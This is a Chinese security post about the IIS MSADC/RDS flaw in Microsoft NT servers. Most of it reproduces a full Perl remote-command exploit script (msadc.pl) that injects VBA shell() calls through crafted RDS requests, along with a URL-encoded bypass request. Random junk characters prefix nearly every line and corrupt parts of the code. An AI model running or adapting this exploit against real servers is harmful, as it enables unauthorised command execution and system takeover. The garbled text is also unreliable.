IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
t'ZWc\ B 2ec@]uD` 涉及程序:
>|;aIa@9 Microsoft NT server
VU@9@%TN
P\_` 描述:
t:fFU1x 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Q?X>E3=U @$T 9Ll 详细:
*&f$K1p 如果你没有时间读详细内容的话,就删除:
`Qqk<o c:\Program Files\Common Files\System\Msadc\msadcs.dll
>a}f{\Q 有关的安全问题就没有了。
/q5:p`4{J IUwm}9Q! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
S%`0'lzzj (T2m"Yi: 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
XQS9,Hl 关于利用ODBC远程漏洞的描述,请参看:
Zv#Ll@v !A%<#Gjt http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm rylzcN9RM$ M}!2H* 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
PiA0]> http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q~T$N {P*m;a`} 这里不再论述。
|7zd%! nMJ#<'v^!2 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
P+$:(I o*J3C> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)wNP(
@$L 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
H<3I 5Kgt 9V5-%Iv ooQQ-?"m #将下面这段保存为txt文件,然后: "perl -x 文件名"
NC38fiH_N 7.`fJf? #!perl
db6mfxi #
x7$}8LZ"B # MSADC/RDS 'usage' (aka exploit) script
I(XOE$3 #
h*v8#\b$J_ # by rain.forest.puppy
H*)NLp #
]9@F~) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
N ,z6y5Lu # beta test and find errors!
>vA2A1WhW Jkek-m use Socket; use Getopt::Std;
pxa( getopts("e:vd:h:XR", \%args);
4]E3cAJ F>rH^F print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
e2A-;4?_ ,2W8=ON if (!defined $args{h} && !defined $args{R}) {
rvw)-=qR[ print qq~
`*shF9.\C Usage: msadc.pl -h <host> { -d <delay> -X -v }
:ijAqfX -h <host> = host you want to scan (ip or domain)
"
W|%~h -d <seconds> = delay between calls, default 1 second
~sXcnxLz -X = dump Index Server path table, if available
)+6MK(<" -v = verbose
/Sh#_\x -e = external dictionary file for step 5
y`=]T>X&x S;-
LIv Or a -R will resume a command session
ctGL-kp GN2Sn`; ~; exit;}
lg&t8FHa; &c,kQo+pA $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
VzVc37Z>6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
T~='5iy| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q7E~+p(>( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
=y!$/(H $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}1upi=+aE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1aTB%F :*KHx|Q if (!defined $args{R}){ $ret = &has_msadc;
L'kmNVvYN die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
P ! _rEV
w.TuoWo> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=z
/dcC$r . "cmd /c ";
@!1x7%]G $in=<STDIN>; chomp $in;
BSVxN $command="cmd /c " . $in ;
c3CWRi`LE wY_)y if (defined $args{R}) {&load; exit;}
_/tHD]um 9c("x%nLpB print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.P"D &try_btcustmr;
c(~[$)i6 IqoR7ajA print "\nStep 2: Trying to make our own DSN...";
5wDg'X]>V &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
XD2v*l|Po Kuu *&u print "\nStep 3: Trying known DSNs...";
AQwdw>I-FX &known_dsn;
$F5 b w}YlVete print "\nStep 4: Trying known .mdbs...";
Nb'''W-iu &known_mdb;
V]db'qB\ VB*oGG if (defined $args{e}){
2V#>)R#k print "\nStep 5: Trying dictionary of DSN names...";
4v{o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ob<{G" +O?KNZ print "Sorry Charley...maybe next time?\n";
=7m)sxj]w exit;
~o~!+`@q pWJFz- ##############################################################################
V:
TM] L bmawi^ sub sendraw { # ripped and modded from whisker
JVSA&c%3 sleep($delay); # it's a DoS on the server! At least on mine...
ybKWOp:O my ($pstr)=@_;
bl&nhI)w socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*(T:,PY die("Socket problems\n");
B e0ND2oo if(connect(S,pack "SnA4x8",2,80,$target)){
_dhgAx-H)h select(S); $|=1;
#;2n;.a print $pstr; my @in=<S>;
8p:e##% select(STDOUT); close(S);
CmoE_8U> return @in;
v: OR } else { die("Can't connect...\n"); }}
/^#;d
UB o9dY9o+Z ##############################################################################
'$ t I!Z_[M sub make_header { # make the HTTP request
lrIjJ
V my $msadc=<<EOT
waj0"u^# POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
I$Op:P6.E User-Agent: ACTIVEDATA
LoN< oj5 Host: $ip
+Z!)^j Content-Length: $clen
;"~
fZ2$U Connection: Keep-Alive
x#xFh0CA :Ra,Eu ADCClientVersion:01.06
Xx0hc 8qd Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
U"^kH| ,N]H dR --!ADM!ROX!YOUR!WORLD!
\=ux atw Content-Type: application/x-varg
(G;lx Content-Length: $reqlen
U`NjPZe5^ '9
[vDG~ EOT
%1xb,g KO ; $msadc=~s/\n/\r\n/g;
zv\kPfGDK return $msadc;}
OX?\<), ij( B,Y ##############################################################################
TU,s*D&e m!tbkZHQn0 sub make_req { # make the RDS request
m4hg'<<V my ($switch, $p1, $p2)=@_;
7>))D'l57 my $req=""; my $t1, $t2, $query, $dsn;
b)qoh^ Ch|jtVeuyJ if ($switch==1){ # this is the btcustmr.mdb query
f$Fhf?' $query="Select * from Customers where City=" . make_shell();
R5-@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
P"IPcT%Ob% $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%u5L!W& H2jgO?l;! elsif ($switch==2){ # this is general make table query
nG'&ZjA $query="create table AZZ (B int, C varchar(10))";
Rnr(g;2 $dsn="$p1";}
Q/(K$6]j lvBx\e;7P elsif ($switch==3){ # this is general exploit table query
rrBsb - $query="select * from AZZ where C=" . make_shell();
%InA+5s` $dsn="$p1";}
q1"$<# t emqZztccZ elsif ($switch==4){ # attempt to hork file info from index server
g9}DnCT*. $query="select path from scope()";
9=8iy
w $dsn="Provider=MSIDXS;";}
_/-jX _VRpI)mu elsif ($switch==5){ # bad query
[65`$x- $query="select";
t^R][Ay& $dsn="$p1";}
(:TjoXXiY tl,.fjZn $t1= make_unicode($query);
Wz49i9e+d $t2= make_unicode($dsn);
&_dt>. $req = "\x02\x00\x03\x00";
4:$4u@ $req.= "\x08\x00" . pack ("S1", length($t1));
eg\v0Y!rI $req.= "\x00\x00" . $t1 ;
la0BiLzb] $req.= "\x08\x00" . pack ("S1", length($t2));
P;=n9hgHI $req.= "\x00\x00" . $t2 ;
m? J0i>H
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~?4PBq return $req;}
Fq~yL!#! 8_BV:o9kL ##############################################################################
TN!j13, Bu<M\w?7Y sub make_shell { # this makes the shell() statement
+Mo9kC return "'|shell(\"$command\")|'";}
2&:f&" u]<,, ##############################################################################
a
oD`=I*< p4.wh|n sub make_unicode { # quick little function to convert to unicode
\r;#g{
_ my ($in)=@_; my $out;
xu/cq9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
T! Y@`Ox return $out;}
y I HXg# nhB1D- ##############################################################################
Y;dz,}re A -H& sub rdo_success { # checks for RDO return success (this is kludge)
aktU$Wbwl my (@in) = @_; my $base=content_start(@in);
AF;)#T< if($in[$base]=~/multipart\/mixed/){
8p^bD}lN7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
XX7{-Yy return 0;}
bU>U14ix< ^crCy-`# ##############################################################################
9_# >aOqL q.KG^=10 sub make_dsn { # this makes a DSN for us
q-[@$9AS my @drives=("c","d","e","f");
q}`${3qQ3 print "\nMaking DSN: ";
k$R~R-' foreach $drive (@drives) {
;,C)!c& print "$drive: ";
7L`A{L my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
prC;L*~8 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
q!{y&.&\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
^ZvWR% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G"-?&)M#a return 0 if $2 eq "404"; # not found/doesn't exist
^nT/i
.#_ if($2 eq "200") {
;+W#5<i foreach $line (@results) {
RY]#<9>M return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
<6EeD5{* } return 0;}
gFeO}otm ^Ew]uN>, ##############################################################################
*"+=K,#D gy,ht3 sub verify_exists {
.GsV>H my ($page)=@_;
NTdixfR my @results=sendraw("GET $page HTTP/1.0\n\n");
`>gd&u return $results[0];}
49rf7NT-g X>1,!I9 ##############################################################################
NaPt"G HKU~UTRnZ sub try_btcustmr {
ujDd1Bxf? my @drives=("c","d","e","f");
0C =3dnp6 my @dirs=("winnt","winnt35","winnt351","win","windows");
4iqoR$3Fc 4E;VM{ foreach $dir (@dirs) {
-d~4A
print "$dir -> "; # fun status so you can see progress
GQ t8p[! foreach $drive (@drives) {
xAqb\|$^ print "$drive: "; # ditto
Of-Rx/ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
TlXI|3Ip $reqlenlen=length( "$reqlen" );
`e(c^ z# $clen= 206 + $reqlenlen + $reqlen;
aUzBV\Yd} {v=T [D my @results=sendraw(make_header() . make_req(1,$drive,$dir));
oo,uO;0G if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
bP8Sj16q else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*?Lv3}E VYu~26Zr ##############################################################################
j K!Au KX!T8+Y sub odbc_error {
^M3~^lV my (@in)=@_; my $base;
DQNnNsP:M- my $base = content_start(@in);
z8jk[5z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4zASMu $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ZW-yP2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e&simX;W $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0)%YNaskj return $in[$base+4].$in[$base+5].$in[$base+6];}
FYOD
Upn print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ipf|")* print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-u&6X,Oq\u $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
s8QMewU 0]>u)% ##############################################################################
\ ,7f6: E'v_#FLvR sub verbose {
#hW;Ju73 my ($in)=@_;
G %N
$C return if !$verbose;
l/BLUl~z print STDOUT "\n$in\n";}
J cg,#@ Tu@8}C ##############################################################################
sC27FVwo /d0K7F sub save {
j;%-fvd; my ($p1, $p2, $p3, $p4)=@_;
4,..kSA3iw open(OUT, ">rds.save") || print "Problem saving parameters...\n";
IN4=YrM^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
*n;!G8\ close OUT;}
cmBB[pk\ `D>S;[~S7 ##############################################################################
v$~QU{& Dakoqke sub load {
+)k b( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rE iKi open(IN,"<rds.save") || die("Couldn't open rds.save\n");
i#7DR>XF/ @p=<IN>; close(IN);
LL] zT H0 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
d1T,eJ} $target= inet_aton($ip) || die("inet_aton problems");
Uh.oErHQD print "Resuming to $ip ...";
"XB[|#& $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
(>F%UY if($p[1]==1) {
(2$(
?-M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
t/ +=|* $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Ae
mDJ8Y my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
:Mb%A if (rdo_success(@results)){print "Success!\n";}
">~.$Jp_4 else { print "failed\n"; verbose(odbc_error(@results));}}
Z&ZP"P4 elsif ($p[1]==3){
0%,!jW{` if(run_query("$p[3]")){
I*LknU@ print "Success!\n";} else { print "failed\n"; }}
.zS?9MP elsif ($p[1]==4){
bx<RV7>0 if(run_query($drvst . "$p[3]")){
#6ri-n print "Success!\n"; } else { print "failed\n"; }}
/3;4#:Kkw exit;}
Is]aj-#r gfsI6/Y ##############################################################################
a-l;vDs T;@;R% sub create_table {
8d?g]DEN)6 my ($in)=@_;
?z}=B $reqlen=length( make_req(2,$in,"") ) - 28;
f:ZAG4B $reqlenlen=length( "$reqlen" );
jZh';M8" $clen= 206 + $reqlenlen + $reqlen;
,$;yY)x7U my @results=sendraw(make_header() . make_req(2,$in,""));
3BB%Z6F return 1 if rdo_success(@results);
>2~+.WePu my $temp= odbc_error(@results); verbose($temp);
io,M{Ib return 1 if $temp=~/Table 'AZZ' already exists/;
*F
?8c return 0;}
+6UVn\9Q /3eKN ##############################################################################
$Z|ffc1 mocI&=EF2X sub known_dsn {
L !=4N!j # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
P8^hBv* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
'&.# "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
bA\<.d "banner", "banners", "ads", "ADCDemo", "ADCTest");
(7XCA,KTGI <,3^|$c% foreach $dSn (@dsns) {
dY@WI[yog print ".";
fRy^Q_~, next if (!is_access("DSN=$dSn"));
hGd<<\ if(create_table("DSN=$dSn")){
HHq_P/' print "$dSn successful\n";
M@4UGM`J if(run_query("DSN=$dSn")){
P`#Z9 HM4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xqC+0{]y print "Something's borked. Use verbose next time\n";}}} print "\n";}
<Ard7UT
Y^
kXSU ##############################################################################
LEW'G"+ o4*+T8[|5 sub is_access {
.q[SI$qO/ my ($in)=@_;
>Y_*%QGH_ $reqlen=length( make_req(5,$in,"") ) - 28;
]xX$<@HR $reqlenlen=length( "$reqlen" );
dDm):Z*`b $clen= 206 + $reqlenlen + $reqlen;
{]E+~%Va my @results=sendraw(make_header() . make_req(5,$in,""));
Lb;zBmwB my $temp= odbc_error(@results);
w=^`w:5X verbose($temp); return 1 if ($temp=~/Microsoft Access/);
LbaK={tR return 0;}
L3G \ *Ho/ZYj3 ##############################################################################
SVv;q?jZ Ku\Y'ub sub run_query {
6U[4%( my ($in)=@_;
NZ/yBOD( $reqlen=length( make_req(3,$in,"") ) - 28;
S,<EEtXQ $reqlenlen=length( "$reqlen" );
TjQvAkT $clen= 206 + $reqlenlen + $reqlen;
TF 'U my @results=sendraw(make_header() . make_req(3,$in,""));
]UH`Pdlt return 1 if rdo_success(@results);
n|b5? 3 my $temp= odbc_error(@results); verbose($temp);
ZO4*sIw%
return 0;}
d?:=PH O!Oumw,$ ##############################################################################
EL8NZ%:v: mp9{m`Jb* sub known_mdb {
&Y
4F!Rb my @drives=("c","d","e","f","g");
VQ0fS!5' my @dirs=("winnt","winnt35","winnt351","win","windows");
td4[[ / my $dir, $drive, $mdb;
^s@8VAwi my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
y`$Q\}fS br0++}vwL # this is sparse, because I don't know of many
z]2]XTmWs my @sysmdbs=( "\\catroot\\icatalog.mdb",
%I-+Ead0i "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)$`wIp "\\system32\\certmdb.mdb",
$<^u^q37u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
'Hi:
2Wh wKi^C8Z2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
7ULqo>j "\\cfusion\\cfapps\\forums\\forums_.mdb",
{X[ HCfJd "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
;zYqsS "\\cfusion\\cfapps\\security\\realm_.mdb",
8E4mA5@ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_UT$,0u_i "\\cfusion\\database\\cfexamples.mdb",
4#5:~M } "\\cfusion\\database\\cfsnippets.mdb",
u`olW%C/T "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
om |"S "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0TmR/uUT "\\cfusion\\brighttiger\\database\\cleam.mdb",
1fo
U "\\cfusion\\database\\smpolicy.mdb",
^-rfvc "\\cfusion\\database\cypress.mdb",
rHf&:~ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
B 9T!j]' "\\website\\cgi-win\\dbsample.mdb",
rQEyD "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
e]T`ot#/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
OKi\zS ); #these are just
f m(e3] foreach $drive (@drives) {
z81esXl foreach $dir (@dirs){
9_QP !, foreach $mdb (@sysmdbs) {
-AhwI print ".";
`u.t[ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@^;j)%F} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
etoo
#h"]1 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Qc[3Fq,f print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
kKPi:G52F } else { print "Something's borked. Use verbose next time\n"; }}}}}
H*bs31i{ 01T`Flz foreach $drive (@drives) {
)@~J foreach $mdb (@mdbs) {
M[ z)6. print ".";
#U*_1P0h if(create_table($drv . $drive . $dir . $mdb)){
OiAJ[L print "\n" . $drive . $dir . $mdb . " successful\n";
}lK3-2Pk if(run_query($drv . $drive . $dir . $mdb)){
]c&<zeX, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
xl"HotsX-x } else { print "Something's borked. Use verbose next time\n"; }}}}
h'$QC )P }
/'Pd`Nxl. ]uspx[UIc ##############################################################################
xil[#W]7Ge 9}c8Xt^&